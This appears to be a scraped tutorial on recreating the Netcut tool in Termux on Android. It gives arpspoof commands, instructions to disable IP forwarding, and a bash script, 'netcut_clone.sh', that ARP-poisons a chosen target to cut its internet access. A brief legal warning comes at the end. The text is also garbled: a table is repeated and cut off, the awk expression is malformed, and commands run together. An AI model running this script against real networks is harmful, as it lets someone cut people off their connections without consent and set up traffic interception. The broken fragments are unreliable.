Netcut Termux May 2026

| Problem | Solution | |--------|----------| | arpspoof: couldn't find arp | Install dsniff fully. Run pkg install libnet and pkg install dsniff | | No internet after cutting | Ensure net.ipv4.ip_forward is correct. Use sysctl -w net.ipv4.ip_forward=1 | | “Operation not permitted” | Try tsu to get root. If no root, ARP spoofing often fails on newer Android kernels | | BetterCap not starting | Install Go correctly. Use go install github.com/bettercap/bettercap@latest | | Nmap shows all hosts as down | Android may block raw sockets. Use nmap -sn -PR (ARP ping) – works without root sometimes |


If you prefer a manual approach without third-party scripts, you can use arpspoof (part of the dsniff suite) if your device is rooted.

Use nmap to list all live hosts on your network:

# First, find your gateway IP and subnet
ip route | grep default

arpspoof -i wlan0 -t 192.168.1.1 192.168.1.100 Netcut Termux

Result: Traffic between target and gateway flows through your device. To cut internet entirely, simply do not forward packets:

# Disable IP forwarding
sysctl -w net.ipv4.ip_forward=0

Now the target’s connection drops — same as Netcut’s “cut” feature. | Problem | Solution | |--------|----------| | arpspoof:

Automated cutting with a script:

#!/bin/bash
# netcut_clone.sh
TARGET=$1
GATEWAY=$(ip route | grep default | awk 'print $3')
INTERFACE="wlan0"

echo "Cutting $TARGET from $GATEWAY" arpspoof -i $INTERFACE -t $TARGET $GATEWAY > /dev/null 2>&1 & arpspoof -i $INTERFACE -t $GATEWAY $TARGET > /dev/null 2>&1 &

Run with bash netcut_clone.sh 192.168.1.100.

Using these tools to disconnect devices that do not belong to you is considered a Denial of Service (DoS) attack, which is a criminal offense in many jurisdictions.

Legitimate Use Cases:

Always ensure you have permission from the network owner before performing any network tests.
